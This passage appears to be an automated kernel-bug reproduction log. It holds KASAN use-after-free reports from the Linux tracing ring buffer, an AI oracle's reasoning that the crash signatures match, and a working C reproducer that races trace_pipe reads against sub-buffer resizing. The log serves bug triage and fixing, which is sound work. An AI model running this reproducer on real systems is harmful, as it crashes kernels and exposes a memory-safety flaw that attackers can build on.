post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3e by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_subbuf_order_set+0x45d/0x14b0 kernel/trace/ring_buffer.c:7379
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
^
ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
|
| 165/4 |
2026/08/12 02:44 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 54964
output: 208
thoughts: 1266
Thoughts: **My Thought Process on the Bug Report**
I've just reviewed a bug report regarding a KASAN use-after-free vulnerability within the `ignore_event` function. The good news is that the provided reproducer successfully triggered the crash, confirming `Reproduced: true`.
Upon initial inspection, I noticed the reported crash details: `BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213`, and several others leading up to `BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526`. This immediately made me pause and compare it to the original bug description, which stated: `KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526`.
My immediate thought was to verify if these were indeed the same underlying issue. Both scenarios clearly point to a use-after-free occurring during `tracing_read_pipe` operations. Crucially, they both involve a race condition where the trace pipe is being read while the ring buffer is undergoing a resize or a change in its subbuffer order. This resizing process is what leads to the freeing of the very pages that `tracing_read_pipe` is attempting to access.
I then carefully examined the stack traces. The original trace showed `ignore_event` as the primary function, followed by `trace_event_printf`, `trace_raw_output_sys_enter`, and so on, all within the `tracing_read_pipe` path. The reproduced crash, while reporting multiple KASAN hits across various trace printing functions like `print_trace_line`, `print_trace_fmt`, `trace_print_context`, `trace_raw_output_prep`, and ultimately `ignore_event`, still fundamentally originates from the same `tracing_read_pipe` call.
The specific function where KASAN reports the use-after-free can differ slightly. This is entirely expected because the use-after-free happens on a page of the ring buffer. As the read operation (`tracing_read_pipe`) proceeds, it calls various formatting and output functions (like `print_trace_line`, `trace_event_printf`, etc.) to process the event data. If the underlying page has already been freed by a concurrent ring buffer modification (specifically, `ring_buffer_subbuf_order_set` calling `free_buffer_page`), any of these subsequent functions accessing that freed memory can trigger the KASAN report. The fact that one of the reported crashes in the reproduced output *does* explicitly mention `ignore_event` at the same file and line number (`kernel/trace/trace.c:2526`) as the original, albeit with a slightly different offset (`0x9c2` vs `0x83e`), further solidifies my conviction that it's the identical root cause.
Therefore, I'm confident that the root cause is the same: a race between reading from the trace pipe and modifying the ring buffer's subbuffer order, leading to the freeing of pages being actively read. I will set `TitleMatches: true` and proceed to provide a detailed explanation, noting the expected variations in the exact KASAN reporting function due to the nature of the race.
|
| 166/4 |
2026/08/12 02:44 |
tool |
set-results |
0m
Args: map[Feedback:The reproducer successfully triggered the expected use-after-free bug. While the initial crash report in the console output points to `print_trace_line` or `string` instead of `ignore_event`, the underlying root cause is identical. Both the original and reproduced crashes occur during `tracing_read_pipe` when accessing trace event data that has been freed by a concurrent ring buffer resize or subbuf order change (`ring_buffer_subbuf_order_set` -> `free_buffer_page`). In fact, one of the KASAN reports in the reproduced output explicitly matches `ignore_event` at `kernel/trace/trace.c:2526`. The slight variation in the exact crashing function is expected since the freed ring buffer page is accessed by various formatting functions during the read operation. The title matches and the reproduction is successful. ProbePassed:false TerminalError: TitleMatches:true]
Results: map[Feedback:The reproducer successfully triggered the expected use-after-free bug. While the initial crash report in the console output points to `print_trace_line` or `string` instead of `ignore_event`, the underlying root cause is identical. Both the original and reproduced crashes occur during `tracing_read_pipe` when accessing trace event data that has been freed by a concurrent ring buffer resize or subbuf order change (`ring_buffer_subbuf_order_set` -> `free_buffer_page`). In fact, one of the KASAN reports in the reproduced output explicitly matches `ignore_event` at `kernel/trace/trace.c:2526`. The slight variation in the exact crashing function is expected since the freed ring buffer page is accessed by various formatting functions during the read operation. The title matches and the reproduction is successful. ProbePassed:false TerminalError: TitleMatches:true]
|
| 167/3 |
2026/08/12 02:44 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the expected use-after-free bug. While the initial crash report in the console output points to `print_trace_line` or `string` instead of `ignore_event`, the underlying root cause is identical. Both the original and reproduced crashes occur during `tracing_read_pipe` when accessing trace event data that has been freed by a concurrent ring buffer resize or subbuf order change (`ring_buffer_subbuf_order_set` -> `free_buffer_page`). In fact, one of the KASAN reports in the reproduced output explicitly matches `ignore_event` at `kernel/trace/trace.c:2526`. The slight variation in the exact crashing function is expected since the freed ring buffer page is accessed by various formatting functions during the read operation. The title matches and the reproduction is successful. OracleFeedback:The reproducer successfully triggered the expected use-after-free bug. While the initial crash report in the console output points to `print_trace_line` or `string` instead of `ignore_event`, the underlying root cause is identical. Both the original and reproduced crashes occur during `tracing_read_pipe` when accessing trace event data that has been freed by a concurrent ring buffer resize or subbuf order change (`ring_buffer_subbuf_order_set` -> `free_buffer_page`). In fact, one of the KASAN reports in the reproduced output explicitly matches `ignore_event` at `kernel/trace/trace.c:2526`. The slight variation in the exact crashing function is expected since the freed ring buffer page is accessed by various formatting functions during the read operation. The title matches and the reproduction is successful. ReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
Reproduced:true ReproducedBugTitle:KASAN: use-after-free Read in print_trace_line ReproducedCrashReport:==================================================================
BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
